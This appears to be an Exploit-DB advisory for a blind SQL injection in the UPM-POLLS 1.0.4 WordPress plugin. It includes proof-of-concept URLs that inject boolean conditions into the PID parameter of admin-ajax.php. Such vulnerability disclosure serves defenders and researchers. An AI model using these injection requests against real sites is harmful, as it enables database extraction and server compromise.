BLIND SQL injection UPM-POLLS wordpress plugin 1.0.4

vendor:

UPM-POLLS

by:

Saif El-Sherei

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: UPM-POLLS

Affected Version From: 1.0.4

Affected Version To: 1.0.4

Patch Exists: NO

Related CWE: N/A

CPE: 2.3:a:wordpress:upm-polls

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: WordPress 3.2.1, Firefox 4, XAMPP

2011

BLIND SQL injection UPM-POLLS wordpress plugin 1.0.4

The Variable PID is not properly sanitized in the get request before insertion into the database query; allowing an attaacker or any user who can view poll results (supposedly all user) to use blind sql injection to extract database data and possibly compromise the whole server.

Mitigation:

Sanitize user input before inserting into the database query.

Source

Exploit-DB raw data:

# Exploit Title: BLIND SQL injection UPM-POLLS wordpress plugin 1.0.4
# Google Dork: n/a
# Date: 04-12-2011
# Author: Saif El-Sherei
# Software Link: http://downloads.wordpress.org/plugin/upm-polls.1.0.4.zip
# Version: 1.0.4
# Tested on: wordpress 3.2.1,Firefox 4, XAMPP


Info:

Best Plugin to create Polls for your site. Everything is smoother, faster,
and seamless like WordPress itself.

    Poll Manager,
        Ability to set general and post/page specific polls,
        Ability to leaf over the polls
        Ability to add certain poll in certain post content
        Ability to show polls either with and without current results of
polls


Details:

the Variable PID is not properly sanitized in the get request before
insertion into the database query; allowing an attaacker or any user who
can view poll results (supposedly   all user) to use blind sql injection to
extract database data and possibly compromise the whole server. a POC is
provided with both true and false results.

POC 1(TRUE):

http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=upm_ayax_polls_result&do=result&post=1&type=general&PID=2and
1=1

"poll results for poll 2 is displayed"

POC 2 (FALSE):

http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=upm_ayax_polls_result&do=result&post=1&type=general&PID=2and
1=2

"Blank page is displayed"

Time Line:
04-12-2011 Vulnerability discovered
04-12-2011 Vendor notified
11-12-2011 No response from vendor, public disclosure